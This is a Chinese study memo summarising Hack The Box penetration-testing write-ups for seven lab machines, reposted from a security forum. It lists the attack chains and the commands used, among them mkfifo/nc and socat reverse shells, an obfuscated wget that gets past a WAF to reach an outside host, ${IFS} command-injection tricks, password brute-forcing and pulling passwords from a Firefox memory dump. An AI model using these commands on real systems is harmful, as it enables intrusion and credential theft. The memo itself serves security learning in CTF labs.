《0xrick's Write-ups for hack-the-box》学习备忘录(1)
2020-02-12 09:54:53 Author: xz.aliyun.com(查看原文) 阅读量:351 收藏

国外Ahmed Hesham师傅记录了50多个Hack The Box环境的渗透Writeup,很有学习价值,其中的渗透流程十分清晰,这里我将其中的知识点和自己的思考分享给大家,也欢迎师傅们留言补充。

Paper:0xrick's Write-ups for hack-the-box

一、AI

环境概述:Linux、Medium、30'、09 Nov 2019

渗透流程:Nmap -> Web Enumeration -> SQL injection –> Alexa’s Credentials –> SSH as Alexa –> User Flag -> JDWP –> Code Execution –> Root Shell –> Root Flag

知识点:

  • Nmap:-sC等价为--script=default,默认调取已知端口的脚本,输出相应服务的详细信息。
  • 目录枚举:使用gobuster,gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php
  • 文字转MP3:使用ttsmp3,有中国女声,可读中文。
  • MP3转WAV:使用ffmpeg,ffmpeg -i test.mp3 test.wav
  • Linux提权:使用ps aux查看root权限起的服务,使用netstat -ntlp查看敏感端口;在Github上使用关键词搜索exp。

思考:

  • 目录枚举:除了gobuster,还有dirb、dirsearch、wfuzz等工具。wfuzz是web模糊处理工具,类似于Burpsuite的intruder功能。
  • SQL注入:通过语音识别用户上传的wav文件,执行并输出结果。场景很新颖,hard CTF-style。
  • Linux提权:发现Apache Tomcat服务,作者首先确定了此服务无利用价值后,进而深入研究了其Tomcat jdwp服务。

二、Player

环境概述:Linux、Hard、40'、06 Jul 2019

渗透流程:Nmap -> Web Enumeration -> FFmpeg HLS Vulnerability –> Arbitrary File Read -> Command Injection –> User Flag -> Credentials in fix.php –> RCE –> Shell as www-data -> Root Flag

知识点:

  • 子域名枚举:使用wfuzz,wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145
  • 文件泄露:.swp, .bak and ~
  • 端口扫描:使用masscan,masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0
  • Banner头泄露:通过使用nc,nc ip port可查看相应服务泄露的banner头,如SSH可看到版本。
  • TTY伪终端:使用python,python -c "import pty;pty.spawn('/bin/bash')"

思考:

  • 重定向:渗透过程中将Burpsuite或ZAP打开,便于查看请求历史,避免漏掉重定向前的请求应答页面。
  • 源码泄露:.xxx.php.swp文件是异常退出vi/vim编辑器时产生的文件,使用vi/vim -r xxx恢复,除此之外,还有.xxx.php.swo.xxx.php.swn等以sw+最后一个字母依次递增的后缀文件,各种编辑器异常退出产生的文件后缀不唯一。
  • TTY交互式终端:使用socat,#Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:`bash -li`,pty,stderr,setsid,sigint,sane tcp:1xx.xxx.xxx.xxx:4444
  • Linux提权:只要是以root权限运行的服务,都要逐一排查。如果是PHP、Python等启动的程序,要进行代码审计,重点发现文件包含、命令执行漏洞,寻找输入点,并借此进程获取root。

三、Bitlab

环境概述:Linux、Medium、30'、07 Sep 2019

渗透流程:Nmap -> Web Enumeration -> File Upload –> RCE –> Shell as www-data -> Database Access –> Clave’s Password –> SSH as Clave –> User Flag -> Reversing RemoteConnection.exe –> Root’s Password –> SSH as Root –> Root Flag

知识点:

  • 信息泄露:使用Nmap发现80端口存在robots.txt,-sC参数可以识别并输出具体内容;robots.txt泄露了大量disallow路径。
  • 信息泄露:使用F12或开发者工具,查看HTML源代码,可能存在敏感JS代码。
  • 路径关联:robots里的某路径和主仓库路径关联,使用同一静态文件(图片等)可快速确定。
  • 数据库:连接数据库的工具不单只有特定的客户端程序,常见的编程语言均内置数据库连接函数,可以巧用。
  • 数据库:PostgreSQL安装完后默认自带一个命令行工具psql。
  • 文件传输:在反弹的伪终端中,使用scp下载文件,scp [email protected]:/home/clave/RemoteConnection.exe ./

思考:

  • Nmap:-sC和-sV倒不如直接使用-A,DNS、路由等信息也加入识别。
  • 信息泄露:在厂商的授权测试中,巧用Github搜索可能会得到意外的代码信息。
  • 文件定位:Windows下使用findstr,findstr /si password *.xml *.ini *.txt,查看后缀名文件中含有password关键字的文件;使用dir,dir /b/s config.*,查看当前目录所有config.为前缀的文件。Linux下对应grep和find。
  • 数据库:若环境支持PHP,可以利用adminer,支持MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, SimpleDB, Elasticsearch, MongoDB。
  • URL格式:postgres://user:[email protected]:5432/path?k=v#f,包含了模式(协议)、验证信息、主机、端口、路径、查询参数和查询片段。注意:@#
  • 二进制程序:在逆向程序前可先使用关键字进行strings匹配。

四、Craft

环境概述:Linux、Medium、30'、13 Jul 2019

渗透流程:Nmap -> Web Enumeration -> RCE –> Shell on Docker Container -> Gilfoyle’s Gogs Credentials –> SSH Key –> SSH as Gilfoyle –> User Flag -> Vault –> One-Time SSH Password –> SSH as root –> Root Flag

知识点:

  • 版本控制:查看代码的同时记得查看Git提交记录,即Commit History。
  • API泄露:根据API帮助文档,可构造请求数据包,获取服务器对应响应。
  • 反弹Shell:使用sh -i、nc,rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
  • Python:作者写了个EXP demo,流程、输出都很清晰。其中,nc监听并实时返回结果可以利用subprocess子进程的Popen方法,Popen(["nc","-lvnp",port])
  • 环境分析:在/根目录发现了.dockerenv文件,判定当前环境为Docker容器。
  • Linux登陆:使用SSH私钥,ssh -i private.key user@host
  • 信息搜集:着重关注用户家目录下的.xxx文件,往往都是服务的配置文件,可快速定位当前用户常使用的软件服务。
  • Vault:一款密码保护工具,可以生成一次性root密码。

思考:

  • 信息泄露:常用的版本控制工具除了Git还有SVN;利用公开的代码库搜索可能会有意外发现,可以使用searchcode搜索来自Github, Bitbucket, Google Code, Codeplex, Sourceforge, Fedora Project, GitLab等开源仓库的代码内容。
  • 环境分析:Linux下可以通过查看etc下的release文件快速判断,cat /etc/*release。Docker可以通过查看网络接口来简单判断,ip a
  • 文件查找:可以使用ls -lat按时间顺序来查看当前目录下的文件。

五、Smasher2

环境概述:Linux、Insane、50'、01 Jun 2019

渗透流程:Nmap -> DNS -> Web Enumeration -> auth.py: Analysis -> session.so: Analysis –> Authentication Bypass -> WAF Bypass –> RCE –> Shell as dzonerzy –> Root Flag -> dhid.ko: Enumeration -> dhid.ko: Analysis -> dhid.ko: Exploitation –> Root Shell –> Root Flag

知识点:

  • DNS:通过Nmap发现服务器开启了53/tcp DNS服务,使用dig利用域传送漏洞,dig axfr smasher2.htb @10.10.10.135
  • 文件对比:使用diff,diff getinternalusr getinternalpwd
  • Bypass:使用单引号,'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'
  • Linux登陆:使用SSH公私钥,将公钥上传至~下的.ssh目录,命名为authorization_keys并赋予600权限,~/.ssh/authorized_keyschmod 600 ~/.ssh/authorized_keys
  • 信息搜集:查看各类服务的日志记录,/var/log/
  • 后半部分涉及到逆向和PWN知识。

思考:

  • 域传送:区域传输(Zone transfer)为了给同域下的DNS Server做负载均衡,管理员若配置不当可导致跨域传输,泄露域内DNS记录,如未公开的子域名等。
  • 域传送漏洞:前提是获取目标Server使用的NS(Name Server),使用dig,dig +nostats +nocomments +nocmd NS smasher2.htb;Windows下可使用nslookup交互式界面,指定NS,server 10.10.10.135,列出DNS记录,ls -d smasher2.htb
  • DNS:标准服务须同时开启53/tcp、53/udp。递归解析时使用53/udp;区域传输因需要可靠传输必须使用53/tcp。

六、Wall

环境概述:Linux、Medium、30'、14 Sep 2019

渗透流程:Nmap -> Web Enumeration -> RCE -> WAF Bypass –> Shell as www-data -> Screen 4.5.0 –> Root Shell –> User & Root Flags

知识点:

  • 目录枚举:80/tcp端口是Apache Web服务,index为默认页面,这时使用gobuster枚举目录,有意外收获。
  • Web认证:使用了Apache默认的认证方式,并进行了爆破。
  • Bypass Auth:GET请求monitoring目录触发Apache认证,将请求更改为POST绕过认证。
  • 密码爆破:使用wfuzz,wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate
  • Getshell:Centreon使用的版本19.04,使用searchsploit寻找EXP,searchsploit centreon,发现存在RCE。
  • Bypass Exec:根据公开的EXP,反向追溯漏洞触发点,手工测试发现将空格替换成${IFS},绕过WAF。
  • Linux提权:发现screen工具拥有suid权限;编译exp,gcc -fPIC -shared -ldl -o libhax.so libhax.c
  • umask:umask 000,对所有位都不mask(掩码),新建文件和文件夹均为默认权限,并无存在意义。

思考:

  • Web认证:Apache Basic Auth会在请求头中添加Authorization字段,内容为用户名:密码的base64编码,Authorization: Basic YWRtaW46YWRtaW4=;使用Burpsuite爆破,在intruder模块选中base64字段,payload type选择Custom iterator,分别设置用户名字典、:、密码字典
  • Bypass Auth:参考绕过Web授权和认证之篡改HTTP请求
  • CSRF token:作者到这还没有登陆系统,token对于爆破无影响,直接抓包爆破即可。
  • Bypass Exec:Linux环境下,除了${IFS}可代替空格外,还有<>重定向符、{,}格式包裹,参考我的博客总结Some-tricks-of-Linux-in-CTF
  • Linux提权:文中提到利用拥有suid权限的可执行程序来提权,使用find,find / -user root -perm -4000 -print 2>/dev/null,可参考Linux利用SUID权限提权例子);有哪些程序可用来提权,可以利用gtfobins工具快速判断。

七、Heist

环境概述:Windows、Easy、20'、10 Aug 2019

渗透流程:Nmap -> Web Enumeration -> Enumerating Users –> Shell as Chase –> User Flag -> Administrator Password from Firefox Process Dump –> Shell as Administrator –> Root Flag

知识点:

  • SMB:测试是否允许匿名登陆,使用smbclient,smbclient --list //heist.htb/ -U ""
  • 密码破解:Cisco Hash在线Cracker;由$组成的Hash使用john自动识别类型并破解,john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
  • 信息搜集:将搜集到的Cisco用户名和密码,以及john破解出的密码进行排列组合,成功登陆smb;使用impacket项目的lookupsid.py脚本获取目标用户信息,lookupsid.py hazard:[email protected];使用 evil-winrm,Windows远程管理(WinRM)Shell登陆chase用户终端。
  • 进程内存:使用procdump.exe将firefox进程内存dump,.\procdump64.exe -accepteula -ma 4980
  • 寻找关键字:使用strings.execmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt",与Linux下strings无异;使用findstr寻找password,findstr "password" ./firefox.exe_191129_211531.txt

思考:

  • 密码破解:Hash类型的密码破解除了john,还有hashcat,Kali下均默认自带。常见的Hydra是爆破神器,专门爆破在线服务。
  • 信息搜集:是渗透测试的重中之重,过程中遇见的用户、密码及可疑字符串都需添加至爆破字典中,便于后渗透使用。
  • 进程内存:遇到可疑的进程,可将其内存dump下来进行字符串匹配,没准有意外发现。微软官方出品的procdump.exe,天生白名单,在实战环境中也很好用。
  • 总的来说,本环境较多的是考验信息搜集的能力,将一些将看似无关紧要的信息进行排列组合,从而拿到flag。

文章来源: http://xz.aliyun.com/t/7188
如有侵权请联系:admin#unsafe.sh